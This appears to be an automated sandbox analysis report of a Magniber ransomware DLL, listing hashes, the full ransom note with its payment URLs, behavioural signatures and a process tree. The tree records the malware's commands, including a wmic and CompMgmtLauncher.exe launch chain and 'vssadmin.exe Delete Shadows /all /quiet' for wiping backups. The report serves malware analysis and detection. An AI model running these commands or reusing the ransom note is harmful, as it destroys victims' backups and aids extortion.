Analysis

  • max time kernel
    102s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    18/08/2021, 18:52

General

  • Target

    a60c5212d52fe1488d2f82989a2947d2.dll

  • Size

    21KB

  • MD5

    a60c5212d52fe1488d2f82989a2947d2

  • SHA1

    0a744d6c76902d28eb6687d66c18b0a354f29b9d

  • SHA256

    10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e

  • SHA512

    afd14daa5bd9448e09f25d561e8be34e16f93a2825129d165e817a4a2a3ffc339efefd6f26e78c4853acfbce7f51c88b81601324b123d8c377d72da15dcf9327

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://5a4cd0e05214c040f2dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl http://5a4cd0e05214c040f2dihlxbl.flysex.space/dihlxbl http://5a4cd0e05214c040f2dihlxbl.partscs.site/dihlxbl http://5a4cd0e05214c040f2dihlxbl.codehes.uno/dihlxbl Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://5a4cd0e05214c040f2dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl

http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl

http://5a4cd0e05214c040f2dihlxbl.flysex.space/dihlxbl

http://5a4cd0e05214c040f2dihlxbl.partscs.site/dihlxbl

http://5a4cd0e05214c040f2dihlxbl.codehes.uno/dihlxbl

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Interacts with shadow copies 2 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:396
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\a60c5212d52fe1488d2f82989a2947d2.dll,#1
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:1764
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:784
    • C:\Windows\system32\taskhost.exe
      "taskhost.exe"
      1⤵
      • Modifies extensions of user files
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\system32\notepad.exe
        notepad.exe C:\Users\Public\readme.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:1728
      • C:\Windows\system32\cmd.exe
        cmd /c "start http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl^&1^&47077035^&93^&369^&12"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://5a4cd0e05214c040f2dihlxbl.uponmix.xyz/dihlxbl&1&47077035&93&369&12
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:316 CREDAT:275457 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:984
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1708
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1324
    • C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:568
    • C:\Windows\system32\cmd.exe
      cmd /c CompMgmtLauncher.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\system32\CompMgmtLauncher.exe
        CompMgmtLauncher.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:368
        • C:\Windows\system32\wbem\wmic.exe
          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
          3⤵
            PID:2064
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1492
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:752
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:1856
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1712
            • C:\Windows\system32\wbem\wmic.exe
              "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
              3⤵
                PID:584
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:536
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:680
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:1084
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2236
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2252
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2292
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              1⤵
              • Process spawned unexpected child process
              • Interacts with shadow copies
              PID:2284
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
                PID:2364

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/984-100-0x0000000076E11000-0x0000000076E13000-memory.dmp

                Filesize

                8KB

              • memory/1128-72-0x00000000001D0000-0x00000000001D4000-memory.dmp

                Filesize

                16KB

              • memory/1240-60-0x0000000002A90000-0x0000000002AA0000-memory.dmp

                Filesize

                64KB

              • memory/1728-75-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp

                Filesize

                8KB

              • memory/1940-70-0x0000000001D20000-0x0000000001D21000-memory.dmp

                Filesize

                4KB

              • memory/1940-73-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                Filesize

                4KB

              • memory/1940-67-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

                Filesize

                4KB

              • memory/1940-68-0x0000000001D00000-0x0000000001D01000-memory.dmp

                Filesize

                4KB

              • memory/1940-69-0x0000000001D10000-0x0000000001D11000-memory.dmp

                Filesize

                4KB

              • memory/1940-64-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

                Filesize

                4KB

              • memory/1940-71-0x0000000001D30000-0x0000000001D31000-memory.dmp

                Filesize

                4KB

              • memory/1940-66-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                Filesize

                4KB

              • memory/1940-65-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                Filesize

                4KB

              • memory/1940-108-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

                Filesize

                4KB

              • memory/1940-63-0x0000000001C90000-0x0000000001C91000-memory.dmp

                Filesize

                4KB

              • memory/1940-62-0x0000000000410000-0x0000000000411000-memory.dmp

                Filesize

                4KB

              • memory/1940-61-0x0000000000200000-0x0000000000201000-memory.dmp

                Filesize

                4KB